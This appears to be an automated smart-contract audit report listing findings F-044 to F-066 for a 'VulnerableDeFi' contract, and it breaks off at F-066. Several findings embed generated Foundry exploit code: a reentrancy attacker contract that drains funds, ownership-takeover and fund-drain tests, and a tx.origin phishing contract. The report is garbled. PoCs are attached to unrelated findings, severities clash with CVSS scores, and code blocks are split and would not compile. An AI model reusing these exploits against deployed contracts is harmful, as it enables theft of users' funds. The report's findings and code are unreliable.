F-044. missing_annotation_coverage

PROPERTY	VALUE
Severity	CRITICAL
Category	missing_annotation_coverage
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:100
Status	open
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title VulnerableDeFi Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Public/external function lacks Scribble annotations for formal
verification coverage
 * Severity: critical
 * Target Function: vulnerable
 * Generated: 2026-02-02 15:31
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract VulnerableDeFiReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function vulnerable() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);

        // Deploy target contract
        // target = IVulnerable(deployCode("VulnerableDeFi.sol"));
    }
}
```

```

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter -
attackerBalanceBefore + ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);

```

```

        attackerContract.attack();

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance ≥ 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("vulnerable()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("vulnerable()")
        );
        require(withdrawSuccess, "Initial call failed");
    }

    function withdrawStolenFunds() external {
        require(msg.sender == owner, "Not owner");
        payable(owner).transfer(address(this).balance);
    }
}

```

Impact Analysis

Complete loss of funds or contract takeover possible. Immediate exploitation risk.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- No references available

F-045. missing_annotation_coverage

PROPERTY	VALUE
Severity	CRITICAL
Category	missing_annotation_coverage
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:106
Status	open
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title VulnerableDeFi Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Public/external function lacks Scribble annotations for formal
verification coverage
 * Severity: critical
 * Target Function: vulnerable
 * Generated: 2026-02-02 15:31
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract VulnerableDeFiReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function vulnerable() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);

        // Deploy target contract
        // target = IVulnerable(deployCode("VulnerableDeFi.sol"));
    }
}
```

```

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter -
attackerBalanceBefore + ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);

```

```

        attackerContract.attack();

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance ≥ 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("vulnerable()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("vulnerable()")
        );
        require(withdrawSuccess, "Initial call failed");
    }

    function withdrawStolenFunds() external {
        require(msg.sender == owner, "Not owner");
        payable(owner).transfer(address(this).balance);
    }
}

```

Impact Analysis

Complete loss of funds or contract takeover possible. Immediate exploitation risk.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- No references available

F-046. missing_annotation_coverage

PROPERTY	VALUE
Severity	MEDIUM
Category	missing_annotation_coverage
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:113
Status	open
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- No references available

F-047. missing_annotation_coverage

PROPERTY	VALUE
Severity	MEDIUM
Category	missing_annotation_coverage
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:129
Status	open
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- No references available

F-048. missing_annotation_coverage

PROPERTY	VALUE
Severity	MEDIUM
Category	missing_annotation_coverage
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:130
Status	open
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- No references available

F-049. missing_annotation_coverage

PROPERTY	VALUE
Severity	MEDIUM
Category	missing_annotation_coverage
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:134
Status	open
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- No references available

F-050. selfdestruct-identifier

PROPERTY	VALUE
Severity	CRITICAL
Category	SWC-106
CVSS Score	9.6
Location	VulnerableDeFi.sol:102 (unknown)
Status	open
Detected By	aderyn

Description

Deprecated EVM Instruction for `selfdestruct` should not be used.

Vulnerable Code

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title VulnerableDeFi Exploit PoC
 * @notice Proof of Concept for selfdestruct vulnerability
 * @dev Generated by MIESC PoC Generator
 * @custom:severity critical
 * @custom:generated 2026-02-02 15:31
 */
contract VulnerableDeFiExploitTest is Test {
    // Target contract
    address public target;

    // Attacker
    address public attacker;

    function setUp() public {
        // Setup attacker
        attacker = makeAddr("attacker");
        vm.deal(attacker, 100 ether);

        // Deploy or connect to target
        // target = address(new VulnerableDeFi());
    }

    function test_exploit_selfdestruct() public {
        console.log("=== Starting selfdestruct Exploit ===");
        console.log("Attacker:", attacker);
        console.log("Target:", target);

        uint256 attackerBalanceBefore = attacker.balance;

        vm.startPrank(attacker);

        // TODO: Implement exploit logic for selfdestruct
        // Call vulnerable function: target.unknown()

        vm.stopPrank();

        uint256 attackerBalanceAfter = attacker.balance;

        console.log("=== Exploit Complete ===");
        console.log("Balance before:", attackerBalanceBefore);
        console.log("Balance after:", attackerBalanceAfter);

        // Assert exploit success
        // assertGt(attackerBalanceAfter, attackerBalanceBefore, "Exploit should
profit");
    }
}

```

```
}
```

Impact Analysis

Complete loss of funds or contract takeover possible. Immediate exploitation risk.

Recommendation

Add access control and consider removing selfdestruct

References

- No references available

F-051. delegate-call-unchecked-address

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-104
CVSS Score	8.0
Location	VulnerableDeFi.sol:93 (unknown)
Status	open
Detected By	aderyn

Description

Introduce checks on the address

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Always check return value of low-level calls or use SafeERC20

References

- No references available

F-052. unchecked-return

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-104
CVSS Score	8.0
Location	VulnerableDeFi.sol:89 (unknown)
Status	open
Detected By	aderyn

Description

Function returns a value but it is ignored.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Always check return value of low-level calls or use SafeERC20

References

- No references available

F-053. weak-randomness

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-120
CVSS Score	8.0
Location	VulnerableDeFi.sol:74 (unknown)
Status	open
Detected By	aderyn

Description

The use of keccak256 hash functions on predictable values like block.timestamp, block.number, or similar data, including modulo operations on these values, should be avoided for generating randomness, as they are easily predictable and manipulable. The `PREVRANDAO` opcode also should not be used as a source of randomness. Instead, utilize Chainlink VRF for cryptographically secure and provably random values to ensure protocol integrity.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Use Chainlink VRF or commit-reveal scheme for randomness

References

- No references available

F-054. centralization-risk

PROPERTY	VALUE
Severity	INFO
Category	SC09: Centralization Risk
CVSS Score	3.7
Location	VulnerableDeFi.sol:33 (unknown)
Status	open
Detected By	aderyn

Description

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Impact assessment pending.

Recommendation

Consider using multi-sig or timelocks for privileged operations

References

- No references available

F-055. access_control

PROPERTY	VALUE
Severity	LOW
Category	SWC-105
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:48 (swapTokens)
Status	open
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Minor impact on contract functionality or gas efficiency.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- No references available

F-056. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-105
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:73 (lottery)
Status	open
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- No references available

F-057. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-105
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:83 (isLocked)
Status	open
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- No references available

F-058. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-105
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:88 (approveSpender)
Status	open
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- No references available

F-059. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-105
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:93 (execute)
Status	open
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- No references available

F-060. access_control

PROPERTY	VALUE
Severity	CRITICAL
Category	SWC-105
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:100 (destroy)
Status	open
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title VulnerableDeFi Access Control Exploit PoC
 * @notice Proof of Concept for access control vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * * Vulnerability: Missing or improper access control modifiers on sensitive
functions that should be restricted.
 * Severity: critical
 * Target Function: destroy
 * Generated: 2026-02-02 15:31
 *
 * Attack Vector:
 * 1. Attacker identifies unprotected privileged function
 * 2. Calls function without required authorization
 * 3. Performs unauthorized actions (drain funds, change state)
 */
contract VulnerableDeFiAccessControlTest is Test {
    // Target contract interface
    interface IVulnerable {
        function owner() external view returns (address);
        function destroy(address newOwner) external;
        function withdraw() external;
        function pause() external;
        function unpause() external;
        function setFee(uint256 newFee) external;
        function emergencyWithdraw() external;
    }

    // Contracts
    IVulnerable public target;

    // Addresses
    address public attacker;
    address public legitimateOwner;
    address public victim;

    function setUp() public {
        attacker = makeAddr("attacker");
        legitimateOwner = makeAddr("legitimateOwner");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);

        // Deploy target as legitimate owner
        // vm.prank(legitimateOwner);
        // target = IVulnerable(deployCode("VulnerableDeFi.sol"));
    }
}
```

```

    console.log("=== Setup Complete ===");
    console.log("Legitimate owner:", legitimateOwner);
    console.log("Attacker:", attacker);
}

function test_exploit_missing_access_control() public {
    console.log("\n=== Testing Missing Access Control ===");

    // Verify current owner
    address currentOwner = target.owner();
    console.log("Current owner:", currentOwner);
    assertEq(currentOwner, legitimateOwner, "Owner should be legitimate");

    // Attacker attempts to call privileged function
    vm.startPrank(attacker);

    console.log("Attacker calling privileged function...");

    // This should fail if properly protected
    // But if vulnerable, attacker gains control
    try target.destroy(attacker) {
        console.log("SUCCESS: Attacker called privileged function!");

        // Verify ownership transferred
        address newOwner = target.owner();
        console.log("New owner:", newOwner);

        assertEq(newOwner, attacker, "Attacker should be new owner");
    } catch {
        console.log("FAILED: Function is properly protected");
    }

    vm.stopPrank();
}

function test_exploit_tx_origin_auth() public {
    console.log("\n=== Testing tx.origin Authentication ===");

    // tx.origin vulnerability allows phishing attacks
    // where attacker tricks owner into calling malicious contract

    vm.prank(legitimateOwner);
    // If target uses tx.origin, this would pass even from malicious contract
    // MaliciousContract(attacker).trick(target);
}

function test_exploit_initialization() public {
    console.log("\n=== Testing Uninitialized Proxy ===");

    // Many proxies are vulnerable to initialization front-running
    // Attacker can call initialize() before legitimate deployment

    vm.prank(attacker);
    // target.initialize(attacker);

    // Verify attacker is now owner
    // assertEq(target.owner(), attacker);
}

function test_exploit_role_escalation() public {
    console.log("\n=== Testing Role Escalation ===");

```

```

    // Check if attacker can grant themselves roles
    vm.startPrank(attacker);

    // Attempt to grant admin role
    // target.grantRole(ADMIN_ROLE, attacker);

    // Check if attacker has role now
    // assertTrue(target.hasRole(ADMIN_ROLE, attacker));

    vm.stopPrank();
}

function test_drain_funds_after_takeover() public {
    console.log("\n=== Draining Funds After Takeover ===");

    // Fund the target contract
    vm.deal(address(target), 10 ether);
    console.log("Target balance:", address(target).balance);

    // First, take over ownership
    vm.prank(attacker);
    try target.destroy(attacker) {
        console.log("Ownership taken!");

        // Now drain funds
        uint256 attackerBalanceBefore = attacker.balance;

        vm.prank(attacker);
        target.withdraw();

        uint256 attackerBalanceAfter = attacker.balance;
        console.log("Attacker profit:", attackerBalanceAfter -
attackerBalanceBefore);

        assertGt(attackerBalanceAfter, attackerBalanceBefore, "Should have
drained funds");
    } catch {
        console.log("Could not take ownership");
    }
}

function test_pause_griefing() public {
    console.log("\n=== Testing Pause Griefing ===");

    // If pause() is unprotected, attacker can grief users
    vm.prank(attacker);
    try target.pause() {
        console.log("Contract paused by attacker!");

        // Verify contract is paused
        // assertTrue(target.paused());

        // Users cannot interact
        vm.prank(victim);
        vm.expectRevert();
        target.withdraw();
    } catch {
        console.log("Pause is properly protected");
    }
}
}

```

```

function test_fee_manipulation() public {
    console.log("\n=== Testing Fee Manipulation ===");

    // If setFee() is unprotected, attacker can set extreme fees
    vm.prank(attacker);
    try target.setFee(9999) { // 99.99% fee
        console.log("Fee set to 99.99% by attacker!");

        // This would cause massive losses for users
    } catch {
        console.log("Fee setting is properly protected");
    }
}

}

/**
 * @title MaliciousContract
 * @notice Used for tx.origin phishing attacks
 */
contract MaliciousContract {
    function trick(address target) external {
        // When legitimate owner calls this,
        // tx.origin will be the owner
        // msg.sender will be this contract

        // If target checks tx.origin instead of msg.sender,
        // this call will succeed as "authorized"

        (bool success,) = target.call(
            abi.encodeWithSignature("destroy(address)", address(this))
        );
        require(success, "Attack failed");
    }
}

```

Impact Analysis

Complete loss of funds or contract takeover possible. Immediate exploitation risk.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- No references available

F-061. access_control

PROPERTY	VALUE
Severity	CRITICAL
Category	SWC-105
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:106 (liquidate)
Status	open
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title VulnerableDeFi Access Control Exploit PoC
 * @notice Proof of Concept for access control vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Missing or improper access control modifiers on sensitive
functions that should be restricted.
 * Severity: critical
 * Target Function: liquidate
 * Generated: 2026-02-02 15:31
 *
 * Attack Vector:
 * 1. Attacker identifies unprotected privileged function
 * 2. Calls function without required authorization
 * 3. Performs unauthorized actions (drain funds, change state)
 */
contract VulnerableDeFiAccessControlTest is Test {
    // Target contract interface
    interface IVulnerable {
        function owner() external view returns (address);
        function liquidate(address newOwner) external;
        function withdraw() external;
        function pause() external;
        function unpause() external;
        function setFee(uint256 newFee) external;
        function emergencyWithdraw() external;
    }

    // Contracts
    IVulnerable public target;

    // Addresses
    address public attacker;
    address public legitimateOwner;
    address public victim;

    function setUp() public {
        attacker = makeAddr("attacker");
        legitimateOwner = makeAddr("legitimateOwner");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);

        // Deploy target as legitimate owner
        // vm.prank(legitimateOwner);
        // target = IVulnerable(deployCode("VulnerableDeFi.sol"));
    }
}
```

```

    console.log("=== Setup Complete ===");
    console.log("Legitimate owner:", legitimateOwner);
    console.log("Attacker:", attacker);
}

function test_exploit_missing_access_control() public {
    console.log("\n=== Testing Missing Access Control ===");

    // Verify current owner
    address currentOwner = target.owner();
    console.log("Current owner:", currentOwner);
    assertEq(currentOwner, legitimateOwner, "Owner should be legitimate");

    // Attacker attempts to call privileged function
    vm.startPrank(attacker);

    console.log("Attacker calling privileged function...");

    // This should fail if properly protected
    // But if vulnerable, attacker gains control
    try target.liquidate(attacker) {
        console.log("SUCCESS: Attacker called privileged function!");

        // Verify ownership transferred
        address newOwner = target.owner();
        console.log("New owner:", newOwner);

        assertEq(newOwner, attacker, "Attacker should be new owner");
    } catch {
        console.log("FAILED: Function is properly protected");
    }

    vm.stopPrank();
}

function test_exploit_tx_origin_auth() public {
    console.log("\n=== Testing tx.origin Authentication ===");

    // tx.origin vulnerability allows phishing attacks
    // where attacker tricks owner into calling malicious contract

    vm.prank(legitimateOwner);
    // If target uses tx.origin, this would pass even from malicious contract
    // MaliciousContract(attacker).trick(target);
}

function test_exploit_initialization() public {
    console.log("\n=== Testing Uninitialized Proxy ===");

    // Many proxies are vulnerable to initialization front-running
    // Attacker can call initialize() before legitimate deployment

    vm.prank(attacker);
    // target.initialize(attacker);

    // Verify attacker is now owner
    // assertEq(target.owner(), attacker);
}

function test_exploit_role_escalation() public {
    console.log("\n=== Testing Role Escalation ===");

```

```

    // Check if attacker can grant themselves roles
    vm.startPrank(attacker);

    // Attempt to grant admin role
    // target.grantRole(ADMIN_ROLE, attacker);

    // Check if attacker has role now
    // assertTrue(target.hasRole(ADMIN_ROLE, attacker));

    vm.stopPrank();
}

function test_drain_funds_after_takeover() public {
    console.log("\n=== Draining Funds After Takeover ===");

    // Fund the target contract
    vm.deal(address(target), 10 ether);
    console.log("Target balance:", address(target).balance);

    // First, take over ownership
    vm.prank(attacker);
    try target.liquidate(attacker) {
        console.log("Ownership taken!");

        // Now drain funds
        uint256 attackerBalanceBefore = attacker.balance;

        vm.prank(attacker);
        target.withdraw();

        uint256 attackerBalanceAfter = attacker.balance;
        console.log("Attacker profit:", attackerBalanceAfter -
attackerBalanceBefore);

        assertGt(attackerBalanceAfter, attackerBalanceBefore, "Should have
drained funds");
    } catch {
        console.log("Could not take ownership");
    }
}

function test_pause_griefing() public {
    console.log("\n=== Testing Pause Griefing ===");

    // If pause() is unprotected, attacker can grief users
    vm.prank(attacker);
    try target.pause() {
        console.log("Contract paused by attacker!");

        // Verify contract is paused
        // assertTrue(target.paused());

        // Users cannot interact
        vm.prank(victim);
        vm.expectRevert();
        target.withdraw();
    } catch {
        console.log("Pause is properly protected");
    }
}
}

```

```

function test_fee_manipulation() public {
    console.log("\n=== Testing Fee Manipulation ===");

    // If setFee() is unprotected, attacker can set extreme fees
    vm.prank(attacker);
    try target.setFee(9999) { // 99.99% fee
        console.log("Fee set to 99.99% by attacker!");

        // This would cause massive losses for users
    } catch {
        console.log("Fee setting is properly protected");
    }
}

}

/**
 * @title MaliciousContract
 * @notice Used for tx.origin phishing attacks
 */
contract MaliciousContract {
    function trick(address target) external {
        // When legitimate owner calls this,
        // tx.origin will be the owner
        // msg.sender will be this contract

        // If target checks tx.origin instead of msg.sender,
        // this call will succeed as "authorized"

        (bool success,) = target.call(
            abi.encodeWithSignature("liquidate(address)", address(this))
        );
        require(success, "Attack failed");
    }
}

```

Impact Analysis

Complete loss of funds or contract takeover possible. Immediate exploitation risk.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- No references available

F-062. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-105
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:113 (arbitrage)
Status	open
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- No references available

F-063. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-105
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:130 (getAmountsOut)
Status	open
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- No references available

F-064. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	SWC-105
CVSS Score	3.7
Location	/contracts/VulnerableDeFi.sol:134 (approve)
Status	open
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```
// No code snippet
```

Impact Analysis

Limited financial impact or requires specific conditions to exploit.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- No references available

F-065. selfdestruct

PROPERTY	VALUE
Severity	CRITICAL
Category	SWC-106
CVSS Score	9.6
Location	/contracts/VulnerableDeFi.sol:102 (destroy)
Status	open
Detected By	llamaaudit

Description

Unprotected selfdestruct allows unauthorized contract destruction and fund extraction.

Vulnerable Code

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title VulnerableDeFi Exploit PoC
 * @notice Proof of Concept for selfdestruct vulnerability
 * @dev Generated by MIESC PoC Generator
 * @custom:severity critical
 * @custom:generated 2026-02-02 15:31
 */
contract VulnerableDeFiExploitTest is Test {
    // Target contract
    address public target;

    // Attacker
    address public attacker;

    function setUp() public {
        // Setup attacker
        attacker = makeAddr("attacker");
        vm.deal(attacker, 100 ether);

        // Deploy or connect to target
        // target = address(new VulnerableDeFi());
    }

    function test_exploit_selfdestruct() public {
        console.log("=== Starting selfdestruct Exploit ===");
        console.log("Attacker:", attacker);
        console.log("Target:", target);

        uint256 attackerBalanceBefore = attacker.balance;

        vm.startPrank(attacker);

        // TODO: Implement exploit logic for selfdestruct
        // Call vulnerable function: target.destroy()

        vm.stopPrank();

        uint256 attackerBalanceAfter = attacker.balance;

        console.log("=== Exploit Complete ===");
        console.log("Balance before:", attackerBalanceBefore);
        console.log("Balance after:", attackerBalanceAfter);

        // Assert exploit success
        // assertGt(attackerBalanceAfter, attackerBalanceBefore, "Exploit should
profit");
    }
}

```

```
}
```

Impact Analysis

Complete loss of funds or contract takeover possible. Immediate exploitation risk.

Recommendation

Protect selfdestruct with onlyOwner or multi-sig authorization. Consider if selfdestruct is truly necessary.

References

- No references available

F-066. delegatecall

PROPERTY	VALUE
